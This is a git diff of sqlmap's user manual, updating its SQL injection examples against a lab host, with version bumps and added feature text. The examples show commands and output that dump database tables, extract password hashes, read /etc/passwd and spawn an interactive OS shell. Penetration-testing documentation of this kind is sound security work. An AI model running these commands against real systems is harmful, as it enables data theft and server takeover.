-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \ - -T users -D test +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \ + -T users -v 1 +back-end DBMS: MySQL >= 5.0.0 + +[15:59:13] [WARNING] missing database parameter, sqlmap is going to use the current database to dump table 'users' entries +[15:59:13] [INFO] fetching current database +[15:59:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32)) +[15:59:13] [INFO] retrieved: test +[15:59:13] [INFO] performed 34 queries in 0 seconds +[15:59:13] [INFO] fetching columns for table 'users' on database 'test' +[15:59:13] [INFO] fetching number of columns for table 'users' on database 'test' +[...] Database: test Table: users [5 entries] @@ -2351,8 +2865,8 @@ that you want to enumerate the entries.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \ - -T users -D master -C surname +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump \ + -T users -D master -C surname -v 0 Database: master Table: users @@ -2374,11 +2888,11 @@ Table: users You can see the absolute path where it stored the dumped tables entries by providing a verbosity level greater than or equal to 1. -Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump \ -T users -D public -v 1 [...] @@ -2420,12 +2934,12 @@ options to limit the dump to a range of entries.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \ - -T users -D test --start 2 --stop 4 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \ + -T users -D test --start 2 --stop 4 -v 0 Database: test Table: users @@ -2451,11 +2965,11 @@ table entry.Options:
--dump-all
and--exclude-sysdbs
It is possible to dump all databases tables entries at once.
-Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0 Database: test Table: users @@ -2527,8 +3041,8 @@ tables.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \ - --exclude-sysdbs +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all \ + --exclude-sysdbs -v 0 Database: master Table: spt_datatype_info_ext @@ -2585,7 +3099,7 @@ database management system and retrieve its output.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo'" -v 1 [...] @@ -2596,7 +3110,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&ca [hh:mm:14] [INFO] performed 27 queries in 0 seconds SELECT 'foo': 'foo' -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo', 'bar'" -v 1 [...] @@ -2618,13 +3132,13 @@ SELECT 'foo', 'bar': 'foo, bar'As you can see from this last example, sqlmap splits the query in two different
SELECT
statement to be able to retrieve the output even -in blind SQL injection technique. +when using blind SQL injection technique. Otherwise in inband SQL injection technique it only perform a single HTTP request to get the user's query output:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo', 'bar'" -v 1 --union-use [...] @@ -2650,8 +3164,8 @@ SELECT 'foo', 'bar' [1]:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \ - "SELECT 'foo' FROM dual" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-query \ + "SELECT 'foo' FROM dual" -v 0 [hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n SELECT 'foo' FROM dual: 'foo' @@ -2662,17 +3176,19 @@ SELECT 'foo' FROM dual: 'foo'As you can see, if your
-SELECT
statement contains aFROM
clause, sqlmap asks the user if such statement can return multiple entries and in such case the tool knows how to unpack the query correctly to -retrieve its whole output line per line.Example on a PostgreSQL 8.2.7 target:
+retrieve its whole output line per line when going through blind SQL +injection technique. + +Example on a PostgreSQL 8.3.5 target:
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \ - "SELECT usename FROM pg_user" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \ + "SELECT usename FROM pg_user" -v 0 [hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y -[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries -do you want to retrieve? +[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many +entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit @@ -2684,17 +3200,17 @@ SELECT usename FROM pg_user [2]:As you can see, in the last example sqlmap counts the number of entries +
As you can see from the last example, sqlmap counts the number of entries for your query and asks how many entries from the top you want to dump. Otherwise if you specify also the
+output line per line when going through blind SQL injection technique. -LIMIT
, or similar, clause sqlmap will not ask anything, just unpack the query and return its -output.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
@@ -2753,23 +3269,23 @@ statement interactively, like a SQL console logged into the back-end database management system. This feature has TAB completion and history support. -
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \ "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1 [...] @@ -2734,7 +3250,7 @@ ORDER BY user ASC LIMIT 3, 1 [hh:mm:14] [INFO] performed 34 queries in 0 seconds [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user ORDER BY user ASC LIMIT 3, 1 -[hh:mm:14] [INFO] retrieved: 127.0.0.1 +[hh:mm:14] [INFO] retrieved: 192.168.1.121 [hh:mm:14] [INFO] performed 69 queries in 0 seconds [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user ORDER BY user ASC LIMIT 3, 1 @@ -2743,7 +3259,7 @@ ORDER BY user ASC LIMIT 3, 1 SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]: [*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B -[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] root, 192.168.1.121, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1BExample of history support on a PostgreSQL 8.2.7 target:
+Example of history support on a PostgreSQL 8.3.5 target:
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 sql> SELECT 'foo' SELECT 'foo': 'foo' sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell] sql> SELECT version() -SELECT version(): 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 +SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)' sql> exit -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell] sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename @@ -2788,11 +3304,11 @@ SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:Example of TAB completion on a MySQL 5.0.51 target:
+Example of TAB completion on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0 sql> [TAB TAB] AND ORD(MID((%s), %d, 1)) > %d @@ -2824,23 +3340,23 @@ sql> SELECT back-end database management system in sqlmap XML queries file, but you can run whateverSELECT
statement that you want. -Example of asterisk expansion on a MySQL 5.0.51 target:
+Example of asterisk expansion on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell \ -v 1 [...] [hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER sql> SELECT * FROM test.users [hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users' -[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column -names itself. +[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the +column names itself. [hh:mm:48] [INFO] fetching columns for table 'users' on database 'test' [hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test' -[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM -information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) +FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(116,101,115,116) [hh:mm:48] [INFO] retrieved: 3 [hh:mm:48] [INFO] performed 13 queries in 0 seconds @@ -2932,12 +3448,12 @@ entries and goes on. hasFILE
access (access toLOAD_FILE()
builtin function), it is possible to read the content of a specific file from the file system. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ - --read-file /etc/passwd +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \ + --read-file /etc/passwd -v 0 /etc/passwd: --- @@ -2978,12 +3494,12 @@ directory within the web server document root path, sqlmap can prompt for an interactive operating system shell on the back-end database management system. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ - --os-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \ + --os-shell -v 0 [hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path [hh:mm:49] [WARNING] unable to retrieve the remote web server document root @@ -3000,7 +3516,7 @@ $ exitAs you might notice, such operating system shell has the same -functionalities of SQL shell.
+functionalities of SQL shell in terms of TAB completion and history support.5.9 Miscellaneous @@ -3018,7 +3534,7 @@ attack.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b \ --eta -v 1 [...] @@ -3050,7 +3566,7 @@ banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
@@ -3239,7 +3755,7 @@ character retrieved to the end of the query output.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" \ --users --eta -v 1 [...] @@ -3179,11 +3695,11 @@ performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time. -Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
@@ -3206,16 +3722,16 @@ retrieving the PostgreSQL banner and logged the session to text file $ cat sqlmap.log [hh:mm:40 MM/DD/YY] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('1', '1')][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(9, NULL)][9] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('9')][1] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 o
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 -s "sqlmap.log" [...] @@ -3191,7 +3707,7 @@ back-end DBMS: PostgreSQL [hh:mm:42] [INFO] fetching banner [hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) -[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o +[hh:mm:42] [INFO] retrieved: PostgreSQL 8.3.5 o [hh:mm:43] [ERROR] user aborted
@@ -3268,11 +3784,11 @@ banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 -s "sqlmap.log" [...] @@ -3247,15 +3763,15 @@ back-end DBMS: PostgreSQL [hh:mm:37] [INFO] fetching banner [hh:mm:37] [INFO] retrieved the length of query output: 93 -[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o... +[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 o... [hh:mm:37] [INFO] retrieving pending 75 query output characters [hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)), (CHR(32))) [hh:mm:37] [INFO] starting 1 threads [hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) -banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu -4.2.3-2ubuntu4)' +banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real +(Ubuntu 4.3.2-1ubuntu11) 4.3.2'It is possible to save the command line options to a configuration INI file.
-Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
@@ -3382,7 +3898,7 @@ banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2. case of a choice has to be done, you can force it by using
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 --save [hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf' @@ -3303,7 +3819,7 @@ proxy = referer = testParameter = threads = 1 -url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2 +url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1 userAgentsFile = [Miscellaneous] @@ -3364,11 +3880,11 @@ back-end DBMS: PostgreSQL [hh:mm:10] [INFO] fetching banner [hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) -[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) +[hh:mm:10] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) [hh:mm:16] [INFO] performed 657 queries in 6 seconds -banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu -4.2.3-2ubuntu4)' +banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real +(Ubuntu 4.3.2-1ubuntu11) 4.3.2'--batch
option than letting sqlmap go for a default behaviour. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
diff --git a/doc/README.pdf b/doc/README.pdf index 58a8c8bd1..eba9d25f7 100644 Binary files a/doc/README.pdf and b/doc/README.pdf differ diff --git a/doc/README.sgml b/doc/README.sgml index 90cfa150b..352ab563e 100644 --- a/doc/README.sgml +++ b/doc/README.sgml @@ -66,15 +66,15 @@ or even be able to access the underlying operating system. Consider that the target url is: -http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +http://192.168.1.121/sqlmap/mysql/get_int.php?id=1 Assume that: -http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2 +http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1 is the same page as the original one and: -http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2 +http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2 differs from the original one, it means that you are in front of a SQL injection vulnerability in the id GET parameter of the @@ -86,7 +86,7 @@ This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The-recently rated in their survey this vulnerability as the and important web application vulnerability, second only to @@ -94,7 +94,7 @@ common"> and important web application vulnerability, second only to name="Cross-Site Scripting">. Back to the scenario, probably the SQL SELECT statemenet into -index.php has a syntax similar to the following SQL query, in +get_int.php has a syntax similar to the following SQL query, in pseudo PHP code: @@ -111,18 +111,20 @@ same content and without showing any SQL error message. Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like [...]&id=1; -ANOTHER SQL QUERY-- +ANOTHER SQL QUERY# if the web application technology supports +stacked queries, also known as multiple statements. Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the id parameter value in the HTTP request. -There exist many -on the Net explaining in depth how to prevent and how to exploit SQL -injection vulnerabilities and it is recommended to read them if you are -not familiar with the issue before going ahead with sqlmap. +There exist many +on the Net explaining in depth how to prevent, how to detect and how to +exploit SQL injection vulnerabilities in web application and it is +recommended to read them if you are not familiar with the issue before +going ahead with sqlmap. -Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1 to sqlmap, the tool will automatically: @@ -139,11 +141,11 @@ in the following section to go ahead with the exploiting. sqlmap implements two techniques to exploit a SQL injection vulnerability: - @@ -182,6 +187,7 @@ Major features implemented in sqlmap include: andBlind SQL injection , also known asinference SQL -injection : sqlmap appends to the affected parameter in the HTTP -request, a syntatically valid SQL statement string containing a -SELECT sub-statement, or any other SQL statement whose the user -want to retrieve the output. +Blind SQL injection , also known asInferential Blind SQL +injection in this implementation: sqlmap appends to the affected +parameter in the HTTP request, a syntatically valid SQL statement string +containing a SELECT sub-statement, or any other SQL statement +whose the user want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. @@ -151,16 +153,19 @@ The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique. -Inband SQL injection , also known asUNION query SQL + Inband SQL injection , also known asFull UNION query SQL injection : sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a UNION ALL SELECT. This techique is useful if the web application page passes the output of the SELECT statement to a for cycle, or similar, so that each line of the query output is printed on the page content. +sqlmap is also able to exploitPartial UNION query SQL injection +vulnerabilities which occur when the output of the statement is not cycled +in a for construct whereas only the first entry output is displayed. This technique is much faster if the target url is affected by because -in a single HTTP response it returns the whole query output within the -page content. +in a single HTTP response it returns the whole query output or a entry +per each response within the page content. This SQL injection technique is an alternative to the first one.Microsoft SQL Server back-end database management systems. Besides these four database management systems, sqlmap can also identify Microsoft Access, DB2, Informix, Sybase and Interbase. +Extensive back-end database management system fingerprint based upon, @@ -189,19 +195,35 @@ based upon and such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it. +database management system name if you already know it. sqlmap is also able +to fingerprint the web server operating system, the web application +technology and, in some circumstances, the back-end DBMS operating system. + - Full support for two SQL injection techniques:
blind SQL -injection andinband SQL injection . +injection andinband SQL injection . sqlmap can also test for +Time based blind SQL injection . +- Options to retrieve on all four back-end database management system
banner ,current user ,current database , enumerateusers ,users password hashes ,users privileges ,databases ,tables ,columns , dumptables entries , dumpwhole database management system and run yourown SQL SELECT statement . +- If the back-end database management system is MySQL it is also -possible to
read a specific file content and in some -circumstancesprompt for an interactive operating system shell -with TAB completion and history support. +possible toread a specific file content from the ile system and, +in some circumstances,prompt for an interactive operating system +shell with TAB completion and history support. + +- It is possible to provide a single target URL, get the list of +targets from
+requests log file path or + +conversations/ folder path or get the list of targets by providing +sqlmap with a Google dork which queries + search engine and +parses its results page. + - Automatically tests all provided
GET parameters,POST parameters, HTTPCookie header values and HTTPUser-Agent header value to find the dynamic ones, which means @@ -213,37 +235,50 @@ string and all of these three datatypes with zero to two parenthesis to correctly detect which is the SELECT statement syntax to perform further injections with. It is also possible to specify the parameter(s) that you want to perform tests and use for injection on. +- Option to specify the
maximum number of concurrent HTTP requests to speed up the blind SQL injection algorithms -(multithreading). +(multithreading). It is also possible to specify the number of seconds to +wait between each HTTP request. +HTTP Cookie header string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header. +- Automatically handle
HTTP Set-Cookie header from target url, re-establishing of the session if it expires. Test and exploit on these values is supported too. +HTTP Basic and Digest authentications support. -Anonymous HTTP proxy support to pass by the HTTP requests -to the target URL. + +Anonymous HTTP proxy support to pass by the requests to the +target URL that works also with HTTPS requests. +- Options to fake the
HTTP Referer header value and theHTTP User-Agent header value specified by user or randomly selected from a text file. +- Support to increase the
verbosity level of output messages : -there existsix levels . The default level is 0 (silent) in which -only warnings, errors and tracebacks, if they occur, will be shown. +there existsix levels . The default level is1 in which +information, warnings, errors and tracebacks, if they occur, will be shown. +Estimated time of arrival support for each query, updated in real time while fetching the information to give to the user an overview on how long it will take to retrieve the output. +- Support to save the session (queries and their output, even if partially retrieved) in real time while fetching the data on a text file and
resume the injection from this file in a second time . +- Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to save command line options on a configuration INI file. +
- Integration with other IT security related open source projects,
and . + PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR, or similar, database management system function. @@ -261,16 +296,21 @@ It is available in various formats:operating system independent. + operating system independent. + operating system independent. + architecture independent for Debian and any other Debian derivated GNU/Linux distribution. + architecture independent for Fedora and any other operating system that can install RPM packages. + that does not require the Python interpreter to be installed on the operating system. @@ -344,6 +384,10 @@ Options: --timeout=TIMEOUT Seconds to wait before timeout connection (default 10) Injection: + These options can be used to specify which parameters to test for, + provide custom injection payloads and how to parse and compare HTTP + responses page content when using the blind SQL injection technique. + -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value --prefix=PREFIX Injection payload prefix string @@ -424,6 +468,10 @@ Options:Target + +At least one of these options has to be specified to set the source to get +target urls from. +
Target URL @@ -433,13 +481,15 @@ Option: -u or --url To run sqlmap on a single target URL.
-Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:@@ -451,157 +501,173 @@ Option: -v -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" [...] -back-end DBMS: MySQL >= 5.0.0 +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 Verbose options can be used to set the verbosity level of output messages. There exist six levels. -The default level is 0 (silent) in which only warnings, errors and -tracebacks, if they occur, will be shown. Level 1 shows also info -messages, level 2 show also debug messages, level 3 show also HTTP -requests with all HTTP headers sent, level 4 show also HTTP responses -headers and level 5 show also HTTP responses page content. +The default level is
1 in which information, warnings, errors and +tracebacks, if they occur, will be shown. +Level2 shows also debug messages, level3 shows also +HTTP requests with all HTTP headers sent, level4 shows also HTTP +responses headers and level5 shows also HTTP responses page +content.-Example on a
MySQL 5.0.51 target (verbosity level1 ): +Example on aMySQL 5.0.67 target (verbosity level1 ):-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -[hh:mm:01] [INFO] testing connection to the target url -[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:02] [INFO] url is stable -[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic -[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic -[hh:mm:02] [INFO] GET parameter 'id' is dynamic -[hh:mm:02] [INFO] testing sql injection on GET parameter 'id' -[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id' -[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id' -[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable -[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic -[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic -[hh:mm:02] [INFO] testing for parenthesis on injectable parameter -[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis -[hh:mm:02] [INFO] testing MySQL -[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53)) -[hh:mm:02] [INFO] retrieved: 55 -[hh:mm:02] [INFO] performed 20 queries in 0 seconds -[hh:mm:02] [INFO] confirming MySQL -[hh:mm:02] [INFO] query: LENGTH(CHAR(53)) -[hh:mm:02] [INFO] retrieved: 1 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:02] [INFO] retrieved: 5 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -back-end DBMS: MySQL >= 5.0.0 +[hh:mm:12] [INFO] testing connection to the target url +[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:14] [INFO] url is stable +[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:14] [INFO] GET parameter 'id' is dynamic +[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis +[hh:mm:14] [INFO] testing for parenthesis on injectable parameter +[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:14] [INFO] testing MySQL +[hh:mm:14] [INFO] query: 